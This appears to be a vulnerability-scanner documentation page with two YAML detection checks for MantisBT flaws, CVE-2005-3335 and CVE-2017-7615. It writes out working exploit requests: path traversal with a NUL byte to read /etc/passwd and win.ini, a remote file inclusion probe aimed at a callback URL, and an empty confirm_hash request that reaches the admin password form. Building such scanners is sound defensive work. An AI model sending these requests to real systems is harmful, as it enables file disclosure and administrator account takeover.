MantisBT — 2 vulnerability checks

noctis ships 2 vulnerability checks for MantisBT, covering 2 CVEs; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

MantisBT bug_sponsorship_list_view_inc.php t_core_path File Inclusion

CVECVE-2005-3335
Severityhigh · CVSS 7.5
Categoryrce — Remote code execution
Serviceshttp, https
Detectionscript, set_var, http_request, match, wait_oob · highest QoD 97
Feedtests/vulnerabilities/mantisbt/CVE-2005-3335.yaml

Tests MantisBT 0.19.2 and 1.0.0rc2 for the unauthenticated file inclusion in bug_sponsorship_list_view_inc.php, which passes the t_core_path parameter (set through PHP register_globals) to require_once(). The feed requests the page under the web root and the usual /mantis, /mantisbt, /bugs and /bugtracker folders with t_core_path set to a ../ sequence ending in etc/passwd (then windows/win.ini) and a NUL byte, and confirms the inclusion when the file content comes back while the same request for an absent file returns none. When no file comes back, it sends a random folder name and confirms the flaw when the PHP include error names that folder followed by the page's own sponsorship_api.php suffix. When out-of-band detection is enabled, it also points t_core_path at a per-scan callback URL: a fetch of that URL proves remote file inclusion, which lets an attacker run arbitrary PHP code; the callback answers an empty body, so nothing runs on the target. Only world-readable system files are read; the uid-0 passwd line is redacted from the evidence.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. HTTP(S) request GET {{dir}}/bug_sponsorship_list_view_inc.php?t_core_path=../../../../../../../../../../e…
  3. Checks passwd_r.body for (?m)(?:^|>)([^:\r\n<>]+):[^:\r\n]*:0:([0-9]+):[^:\r\n]*:([^:\r\n]*:[^…
  4. Parses / computes the next value with a Rhai script
  5. HTTP(S) request GET {{dir}}/bug_sponsorship_list_view_inc.php?t_core_path=../../../../../../../../../../w…
  6. Checks winini_r.body for (?i)(; for 16-bit app support|\[fonts\])
  7. Parses / computes the next value with a Rhai script
  8. HTTP(S) request GET {{dir}}/bug_sponsorship_list_view_inc.php?t_core_path={{ctrl_path}}%00
  9. Checks ctrl_r.body for (?mi)((?:^|>)[^:\r\n<>]+:[^:\r\n]*:0:[0-9]+:|; for 16-bit app support…
  10. Parses / computes the next value with a Rhai script
  11. Parses / computes the next value with a Rhai script
  12. Parses / computes the next value with a Rhai script
  13. HTTP(S) request GET {{dir}}/bug_sponsorship_list_view_inc.php?t_core_path={{marker}}/
  14. Parses / computes the next value with a Rhai script
  15. … and 6 more steps — see the feed source below

References:

Feed source — tests/vulnerabilities/mantisbt/CVE-2005-3335.yaml
# MantisBT bug_sponsorship_list_view_inc.php t_core_path file inclusion — CVE-2005-3335
#
# MantisBT 0.19.2 and 1.0.0rc2 (fixed in 0.19.3 / 1.0.0rc3, upstream commit
# 9bd6eb7c "Fixed #6273: File Inclusion Vulnerability") ship
# bug_sponsorship_list_view_inc.php, which starts with
#     require_once( $t_core_path . 'sponsorship_api.php' );
# and can be requested directly. With PHP register_globals on, the query
# parameter t_core_path sets that prefix: a remote URL is included and its PHP
# code runs (remote file inclusion), and a "../" path cut by a NUL byte
# (PHP < 5.3.4, magic_quotes_gpc off) includes any local file. The fix sets
# $t_core_path = config_get( 'core_path' ) first, so a direct request dies on the
# undefined config_get() before any include.
#
# Detection (no file is written, nothing runs on the target):
#   1. File read (QoD 75): t_core_path = 10 × "../" + etc/passwd + %00, then
#      windows/win.ini; the file CONTENT must come back. A control for an absent
#      random directory ending with the same file must come back without any file
#      signature (blanket responders / honeypots are not reported; fail-closed).
#   2. Injected prefix quoted by the include error (QoD 75): when no file came
#      back (magic_quotes_gpc on, or PHP 5.3.4–5.3.x where the NUL cut is gone), t_core_path = a random
#      marker + "/"; a PHP include warning naming "<marker>/sponsorship_api.php"
#      proves the parameter reaches require_once() with the script's own suffix
#      appended (a page merely echoing the query never shows that suffix).
#   3. Remote file inclusion (only with OOB, QoD 97): t_core_path = the per-scan
#      OOB URL + "%3F", so PHP fetches <oob url>?sponsorship_api.php; the
#      callback body is empty, so nothing runs. Sent once, to the folder where
#      branch 1 or 2 hit (not to every answering folder: URL-prefetching
#      honeypots would turn that into a QoD 97 false positive). Known limit: a
#      vulnerable install with display_errors off AND no NUL cut gives no
#      in-band hit, so it is not probed for the remote inclusion either.
#
# Better than the source NASL: it needs a prior Mantis detection for the
# folder; the feed tries the usual folders itself. It also proves the remote
# inclusion (the CVE's code execution) with an OOB fetch, adds the absent-file
# control against tarpits, redacts the passwd line, and requires the injected
# prefix itself in the error (the NASL's "Failed opening '/etc/passwd" regex
# cannot match the "../../" form PHP actually prints).
#
# CVE mapping: the issue (#1551) lists CVE-2005-3091 and CVE-2005-3335…3339 from
# the NASL; only the file inclusion is tested here, which is CVE-2005-3335 (the
# others are XSS, an unspecified SQLi, e-mail disclosure and user-id caching,
# none of them probed). CVSS: CVE-2005-3335 v2 7.5 (NVD has no v3 score).
#
# Ported from OpenVAS/Greenbone NVT pre2008/mantis_file_incl_sql_inject.nasl
# (OID 1.3.6.1.4.1.25623.1.0.20093, GPL-2.0-only).
uid: 10241a4e-1a3e-42a5-9ee0-b67586a123cf
name: "MantisBT bug_sponsorship_list_view_inc.php t_core_path File Inclusion (CVE-2005-3335)"
description: |
  Tests MantisBT 0.19.2 and 1.0.0rc2 for the unauthenticated file inclusion in
  bug_sponsorship_list_view_inc.php, which passes the t_core_path parameter
  (set through PHP register_globals) to require_once(). The feed requests the
  page under the web root and the usual /mantis, /mantisbt, /bugs and
  /bugtracker folders with t_core_path set to a ../ sequence ending in
  etc/passwd (then windows/win.ini) and a NUL byte, and confirms the inclusion
  when the file content comes back while the same request for an absent file
  returns none. When no file comes back, it sends a random folder name and
  confirms the flaw when the PHP include error names that folder followed by
  the page's own sponsorship_api.php suffix. When out-of-band detection is
  enabled, it also points t_core_path at a per-scan callback URL: a fetch of
  that URL proves remote file inclusion, which lets an attacker run arbitrary
  PHP code; the callback answers an empty body, so nothing runs on the target.
  Only world-readable system files are read; the uid-0 passwd line is redacted
  from the evidence.
cves: [CVE-2005-3335]
cvss: 7.5
severity: high
category: rce
confidence_base: 0.30
tags: [mantisbt, mantis, php, rfi, lfi, file-inclusion, file-read, register-globals, rce, intrusive, oob, unauthenticated]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2005-3335"
  - "https://github.com/mantisbt/mantisbt/commit/9bd6eb7c6323ef559a0e4ca5b2b072544295e8eb"
  - "https://www.mantisbt.org/bugs/view.php?id=6273"
  # OpenVAS/Greenbone NASL pre2008/mantis_file_incl_sql_inject.nasl (GPL-2.0-only)

steps:
  # ── State kept across the folder loop ────────────────────────────────────
  - id: marker
    action: script
    code: '"noctis" + rand_hex(6)'
    store_as: marker

  - id: init-hit-dir
    action: set_var
    var_name: hit_dir
    var_value: ""

  - id: init-hit-file
    action: set_var
    var_name: hit_file
    var_value: ""

  - id: init-hit-proof
    action: set_var
    var_name: hit_proof
    var_value: ""

  - id: init-mark-dir
    action: set_var
    var_name: mark_dir
    var_value: ""

  - id: init-oob-dir
    action: set_var
    var_name: oob_dir
    var_value: "-"

  # ── Loop group: every following step (up to the next loop) runs once per
  # folder. Each pass resets the values it reads, so nothing is left over;
  # once a folder hit, later passes send nothing.
  - id: init-passwd-r
    action: set_var
    var_name: passwd_r
    var_value: {status: 0, body: ""}
    loop:
      var: dir
      over: ["/mantis", "/mantisbt", "/bugs", "", "/bugtracker", "/mantisBT"]

  - id: init-winini-r
    action: set_var
    var_name: winini_r
    var_value: {status: 0, body: ""}

  - id: init-ctrl-r
    action: set_var
    var_name: ctrl_r
    var_value: {status: 0, body: ""}

  - id: init-mark-r
    action: set_var
    var_name: mark_r
    var_value: {status: 0, body: ""}

  - id: init-lin-proof
    action: set_var
    var_name: lin_proof
    var_value: ""

  - id: init-win-file
    action: set_var
    var_name: win_file
    var_value: ""

  - id: init-ctrl-path
    action: set_var
    var_name: ctrl_path
    var_value: ""

  - id: init-ctrl-hit
    action: set_var
    var_name: ctrl_hit
    var_value: false

  # ── Linux: /etc/passwd ───────────────────────────────────────────────────
  - id: read-passwd
    action: http_request
    method: GET
    path: "{{dir}}/bug_sponsorship_list_view_inc.php?t_core_path=../../../../../../../../../../etc/passwd%00"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: 'hit_dir == "" && mark_dir == ""'
    store_as: passwd_r

  # No on_match: the raw body must not become evidence.
  # name:pw:0:gid:gecos:home:shell — only the name, gid and home:shell are captured.
  - id: passwd-content
    action: match
    source: passwd_r.body
    pattern: "(?m)(?:^|>)([^:\\r\\n<>]+):[^:\\r\\n]*:0:([0-9]+):[^:\\r\\n]*:([^:\\r\\n]*:[^:\\r\\n<]*)"
    store_as: passwd_m

  - id: passwd-redact
    action: script
    code: |
      if passwd_m.matched && passwd_m.captures.len() > 2 {
        let name = passwd_m.captures[0];
        name.trim();
        if name == "root" {
          "root:<redacted>:0:" + passwd_m.captures[1] + ":<redacted>:" + passwd_m.captures[2]
        } else {
          "<redacted>:<redacted>:0:" + passwd_m.captures[1] + ":<redacted>:<redacted>"
        }
      } else { "" }
    store_as: lin_proof

  # ── Windows: windows/win.ini — only when the page answered and the Linux
  # read gave nothing ──────────────────────────────────────────────────────
  - id: read-winini
    action: http_request
    method: GET
    path: "{{dir}}/bug_sponsorship_list_view_inc.php?t_core_path=../../../../../../../../../../windows/win.ini%00"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: 'lin_proof == "" && passwd_r.status != 0 && passwd_r.status != 404'
    store_as: winini_r

  - id: winini-content
    action: match
    source: winini_r.body
    pattern: "(?i)(; for 16-bit app support|\\[fonts\\])"
    condition: 'lin_proof == "" && passwd_r.status != 0 && passwd_r.status != 404'
    on_match:
      set_vars:
        win_file: "windows/win.ini"

  # ── Control: same parameter, absent random directory ending with the file
  # that hit — must NOT carry a file ──────────────────────────────────────
  - id: control-path
    action: script
    code: |
      let f = if lin_proof != "" { "etc/passwd" } else { win_file };
      "../../../../../../../../../../noctis-absent-" + oob_token + "/" + f
    condition: 'lin_proof != "" || win_file != ""'
    store_as: ctrl_path

  - id: control
    action: http_request
    method: GET
    path: "{{dir}}/bug_sponsorship_list_view_inc.php?t_core_path={{ctrl_path}}%00"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: 'lin_proof != "" || win_file != ""'
    store_as: ctrl_r

  - id: control-content
    action: match
    source: ctrl_r.body
    pattern: "(?mi)((?:^|>)[^:\\r\\n<>]+:[^:\\r\\n]*:0:[0-9]+:|; for 16-bit app support|\\[fonts\\])"
    condition: 'lin_proof != "" || win_file != ""'
    on_match:
      set_vars:
        ctrl_hit: true

  # Verdict for this folder. The control must be answered with the probe's
  # status (a WAF blocking the second request is not "clean"), or with a 5xx:
  # with display_errors off, PHP >= 5.2.4 turns the control's fatal include
  # error into a 500 while the probe's file output already sent a 200.
  - id: verdict-file
    action: script
    condition: '(lin_proof != "" || win_file != "") && ctrl_r.status != 0 && (ctrl_r.status == passwd_r.status || ctrl_r.status >= 500) && ctrl_hit == false'
    code: 'if lin_proof != "" { "etc/passwd" } else { win_file }'
    store_as: hit_file

  - id: verdict-proof
    action: script
    condition: 'hit_file != "" && hit_dir == ""'
    code: "lin_proof"
    store_as: hit_proof

  - id: verdict-dir
    action: script
    condition: 'hit_file != "" && hit_dir == ""'
    code: 'dir + "/"'
    store_as: hit_dir

  # ── No file came back: does the include error quote an injected prefix? ──
  - id: read-marker
    action: http_request
    method: GET
    path: "{{dir}}/bug_sponsorship_list_view_inc.php?t_core_path={{marker}}/"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: 'hit_dir == "" && mark_dir == "" && lin_proof == "" && win_file == "" && passwd_r.status != 0 && passwd_r.status != 404'
    store_as: mark_r

  - id: verdict-marker
    action: script
    condition: 'hit_dir == "" && mark_dir == "" && mark_r.status != 0'
    code: |
      if stridx(mark_r.body, marker + "/sponsorship_api.php") >= 0
         && ereg("(?i)(failed to open stream|failed opening required)", mark_r.body) {
        dir + "/"
      } else { "" }
    store_as: mark_dir

  # ── Remote file inclusion (OOB) — a one-pass group after the folder loop ─
  - id: oob-target
    action: script
    condition: 'oob_enabled && (hit_dir != "" || mark_dir != "")'
    code: 'if hit_dir != "" { hit_dir } else { mark_dir }'
    store_as: oob_dir
    loop:
      var: once
      over: ["1"]

  - id: rfi-oob
    action: http_request
    method: GET
    path: "{{oob_dir}}bug_sponsorship_list_view_inc.php?t_core_path={{oob_url}}%3F"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    condition: 'oob_enabled && oob_dir != "-"'
    store_as: rfi_r

  - id: wait-callback
    action: wait_oob
    oob_timeout_secs: 15
    condition: 'oob_enabled && oob_dir != "-"'
    store_as: oob_result
    on_success:
      finding:
        title: "MantisBT bug_sponsorship_list_view_inc.php Remote File Inclusion (CVE-2005-3335)"
        description: "An unauthenticated request to bug_sponsorship_list_view_inc.php with t_core_path set to a per-scan callback URL made the server fetch that URL for require_once(): MantisBT includes remote files through this parameter, so an attacker can run arbitrary PHP code on the server."
        remediation: "Upgrade MantisBT to 0.19.3 / 1.0.0rc3 or later (any currently supported release), and turn PHP register_globals and allow_url_include off."
        confidence_delta: 0.67
        qod: 97
        evidence: "{{oob_dir}}bug_sponsorship_list_view_inc.php?t_core_path=<per-scan OOB URL>%3F made the target fetch the OOB URL (HTTP callback received; the callback body was empty, nothing ran)"
      stop: true

  # ── In-band findings ─────────────────────────────────────────────────────
  - id: report-passwd
    action: match
    source: hit_proof
    pattern: "^(?:root|<redacted>):<redacted>:0:[0-9]+:"
    condition: 'hit_file == "etc/passwd"'
    on_match:
      finding:
        title: "MantisBT bug_sponsorship_list_view_inc.php File Inclusion (CVE-2005-3335)"
        description: "An unauthenticated request to bug_sponsorship_list_view_inc.php with t_core_path set to a ../ sequence ending in etc/passwd and a NUL byte returned the content of /etc/passwd, which the page included with require_once(), while the same request for an absent file did not. The same parameter includes remote URLs when PHP allows it, which lets an attacker run arbitrary PHP code."
        remediation: "Upgrade MantisBT to 0.19.3 / 1.0.0rc3 or later (any currently supported release), and turn PHP register_globals and allow_url_include off."
        confidence_delta: 0.55
        qod: 75
        evidence: "{{hit_dir}}bug_sponsorship_list_view_inc.php?t_core_path=../../../../../../../../../../etc/passwd%00 returned /etc/passwd; control for an absent file returned no file content ({{hit_proof}})"
      stop: true

  - id: report-windows
    action: match
    source: hit_file
    pattern: "^windows/win\\.ini$"
    on_match:
      finding:
        title: "MantisBT bug_sponsorship_list_view_inc.php File Inclusion (CVE-2005-3335)"
        description: "An unauthenticated request to bug_sponsorship_list_view_inc.php with t_core_path set to a ../ sequence ending in windows/win.ini and a NUL byte returned that file's content, which the page included with require_once(), while the same request for an absent file did not. The same parameter includes remote URLs when PHP allows it, which lets an attacker run arbitrary PHP code."
        remediation: "Upgrade MantisBT to 0.19.3 / 1.0.0rc3 or later (any currently supported release), and turn PHP register_globals and allow_url_include off."
        confidence_delta: 0.55
        qod: 75
        evidence: "{{hit_dir}}bug_sponsorship_list_view_inc.php?t_core_path=../../../../../../../../../../windows/win.ini%00 returned the content of windows/win.ini; control for an absent file returned no file content"
      stop: true

  - id: report-marker
    action: match
    source: mark_dir
    pattern: "^/"
    condition: 'hit_dir == ""'
    on_match:
      finding:
        title: "MantisBT bug_sponsorship_list_view_inc.php File Inclusion (CVE-2005-3335)"
        description: "An unauthenticated request to bug_sponsorship_list_view_inc.php with t_core_path set to a random folder name made PHP try to include that folder followed by the page's own sponsorship_api.php suffix, as its include error shows: the parameter reaches require_once() through register_globals. No file came back through a NUL byte (magic_quotes_gpc on, or PHP 5.3.x from 5.3.4, no longer cuts the path there), but remote URLs are still included when PHP allow_url_include is on, which lets an attacker run arbitrary PHP code."
        remediation: "Upgrade MantisBT to 0.19.3 / 1.0.0rc3 or later (any currently supported release), and turn PHP register_globals and allow_url_include off."
        confidence_delta: 0.45
        qod: 75
        evidence: "{{mark_dir}}bug_sponsorship_list_view_inc.php?t_core_path={{marker}}/ — the PHP include error names {{marker}}/sponsorship_api.php"
      stop: true

MantisBT verify.php Pre-Auth Password Reset

CVECVE-2017-7615
Severityhigh · CVSS 8.8
Categoryauth-bypass — Auth bypass
Serviceshttp, https
Detectionset_var, http_request, match · highest QoD 75
Feedtests/vulnerabilities/mantisbt/CVE-2017-7615.yaml

MantisBT 1.3.x before 1.3.10 and 2.x through 2.3.0 accept an empty confirm_hash in verify.php, logging an unauthenticated visitor in as the given user (id=1 = administrator) and serving the form that sets a new password for that account. The feed obtains that form and its CSRF token without credentials (password left unchanged) and confirms with a random-hash control that only the empty hash is accepted.

How noctis detects it

  1. HTTP(S) request GET {{mantis_dir}}verify.php?id=1&confirm_hash=
  2. Checks probe_resp.body for <form id="account-update-form" method="post" action="account_update\.…
  3. Checks probe_resp.body for (?s)<form id="account-update-form".*?<input type="hidden" name="accou…
  4. HTTP(S) request GET {{mantis_dir}}verify.php?id=1&confirm_hash=noctis{{oob_token}}
  5. Checks proof for account_update_token → finding QoD 75: GET …verify.php?id=1&confirm_hash= (empty hash, no credentials) returned HTTP … with the account-update form and a freshly issued account_u…
  6. Checks proof for account-update-form → finding QoD 70: GET …verify.php?id=1&confirm_hash= (empty hash, no credentials) returned HTTP … with the account-update form for user id 1 (administrator),…

References:

Feed source — tests/vulnerabilities/mantisbt/CVE-2017-7615.yaml
# MantisBT Pre-Auth Remote Password Reset — CVE-2017-7615
#
# Ported from OpenVAS/Greenbone NVT 2017/gb_mantisbt_remote_pw_reset.nasl
# (OID 1.3.6.1.4.1.25623.1.0.108140, GPL-2.0-only).
#
# MantisBT 1.3.x before 1.3.10 and 2.x through 2.3.0 (fixed in 1.3.10 /
# 2.3.1): verify.php compares the supplied confirm_hash with the
# account-activation token loosely (`$f_confirm_hash != token_get_value(...)`).
# When the user has no pending token, token_get_value() returns null and
# `"" != null` is false in PHP, so an EMPTY confirm_hash passes. verify.php
# then script-logs-in as that user and prints the account-update form, which
# lets anyone set a new password for the account without knowing the current
# one. id=1 is the administrator created at install time.
#
# Detection (benign real exploitation, no password is changed):
#   1. GET <dir>verify.php?id=1&confirm_hash=  (empty hash)
#      → HTTP 200 + the account-update form for user 1, normally carrying a
#        freshly issued account_update CSRF token = the auth bypass worked:
#        the attacker holds everything needed to set the admin password.
#   2. Control: the same request with a random confirm_hash must be answered
#      and must NOT render that form — proves the emptiness of the hash is
#      what bypasses the check (rules out a page that always shows the form).
#   Branches: form + token + control → QoD 75; form without token (install
#   with form_security_validation = OFF) + control → QoD 70.
#   The feed never POSTs account_update.php, so no password is changed. Side
#   effects of step 1 on a vulnerable host are those of a normal verify-link
#   visit: a PHP session is created, an account-verify token row is written
#   for user 1 (token_set TOKEN_ACCOUNT_VERIFY), its failed-login /
#   lost-password counters are reset and its login count is incremented →
#   tagged `intrusive`, category auth-bypass.
#   Evidence never includes the page body (it holds the admin's username,
#   real name and the CSRF token).
#
# Better than the NASL: the NASL needs prior app detection to know the
# install directory and only checks the form; this feed probes the common
# install directories itself (as the Nuclei template does), requires an
# HTTP 200, reports the issued account_update_token (Nuclei's matcher) on top
# of the form (NASL's matcher), and adds the random-hash differential control.
# Known limits: user 1 deleted or with a pending activation token, or
# password changes disabled (LDAP auth: no form printed) → no finding.
uid: cc5f888e-5ad8-400d-8908-a8ac51494a9f
name: "MantisBT verify.php Pre-Auth Password Reset (CVE-2017-7615)"
description: |
  MantisBT 1.3.x before 1.3.10 and 2.x through 2.3.0 accept an empty
  confirm_hash in verify.php, logging an unauthenticated visitor in as the
  given user (id=1 = administrator) and serving the form that sets a new
  password for that account. The feed obtains that form and its CSRF token
  without credentials (password left unchanged) and confirms with a
  random-hash control that only the empty hash is accepted.
cves: [CVE-2017-7615]
cvss: 8.8
severity: high
confidence_base: 0.20
category: auth-bypass
tags: [mantisbt, mantis, auth-bypass, password-reset, intrusive]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2017-7615"
  - "https://mantisbt.org/bugs/view.php?id=22690"
  - "https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2017/CVE-2017-7615.yaml"

steps:
  # ── Per install directory: reset the stored results the later steps read ──
  - id: init-probe-resp
    action: set_var
    var_name: probe_resp
    var_value: {status: 0, body: ""}
    loop:
      over: ["/", "/mantis/", "/mantisbt/", "/mantisBT/", "/bugs/", "/bugtracker/"]
      var: mantis_dir

  - id: init-control-resp
    action: set_var
    var_name: control_resp
    var_value: {status: 0, body: ""}

  - id: init-form-hit
    action: set_var
    var_name: form_hit
    var_value: false

  - id: init-token-hit
    action: set_var
    var_name: token_hit
    var_value: false

  # Short marker the report steps match on, so the page body (admin username,
  # real name, CSRF token) never lands in the finding.
  - id: init-proof
    action: set_var
    var_name: proof
    var_value: ""

  # ── Exploit: empty confirm_hash for user id 1 (administrator) ─────────────
  - id: empty-hash-probe
    action: http_request
    method: GET
    path: "{{mantis_dir}}verify.php?id=1&confirm_hash="
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    store_as: probe_resp

  # NASL matcher: the account-update form.
  - id: account-form-match
    action: match
    condition: "probe_resp.status == 200"
    source: probe_resp.body
    pattern: '<form id="account-update-form" method="post" action="account_update\.php">'
    on_match:
      set_vars:
        form_hit: true
        proof: "account-update-form"

  # Nuclei matcher: the CSRF token issued inside that form.
  - id: account-token-match
    action: match
    condition: "form_hit"
    source: probe_resp.body
    pattern: '(?s)<form id="account-update-form".*?<input type="hidden" name="account_update_token" value="[A-Za-z0-9_-]+"'
    on_match:
      set_vars:
        token_hit: true
        proof: "account-update-form+account_update_token"

  # ── Control: a random (wrong) confirm_hash must be rejected ────────────────
  - id: random-hash-control
    action: http_request
    method: GET
    condition: "form_hit"
    path: "{{mantis_dir}}verify.php?id=1&confirm_hash=noctis{{oob_token}}"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    store_as: control_resp

  # control_resp.status != 0: the control request must have been answered.
  - id: report-token
    action: match
    condition: 'form_hit && token_hit && control_resp.status != 0 && !control_resp.body.contains("account-update-form")'
    source: proof
    pattern: "account_update_token"
    on_match:
      finding:
        confidence_delta: 0.75
        qod: 75
        evidence: "GET {{mantis_dir}}verify.php?id=1&confirm_hash= (empty hash, no credentials) returned HTTP {{probe_resp.status}} with the account-update form and a freshly issued account_update_token for user id 1 (administrator); the same request with a random confirm_hash returned HTTP {{control_resp.status}} without the form. Password not changed."
      stop: true

  - id: report-form
    action: match
    condition: 'form_hit && !token_hit && control_resp.status != 0 && !control_resp.body.contains("account-update-form")'
    source: proof
    pattern: "account-update-form"
    on_match:
      finding:
        confidence_delta: 0.55
        qod: 70
        evidence: "GET {{mantis_dir}}verify.php?id=1&confirm_hash= (empty hash, no credentials) returned HTTP {{probe_resp.status}} with the account-update form for user id 1 (administrator), no CSRF token (form security validation off); the same request with a random confirm_hash returned HTTP {{control_resp.status}} without the form. Password not changed."
      stop: true

View these feeds on GitHub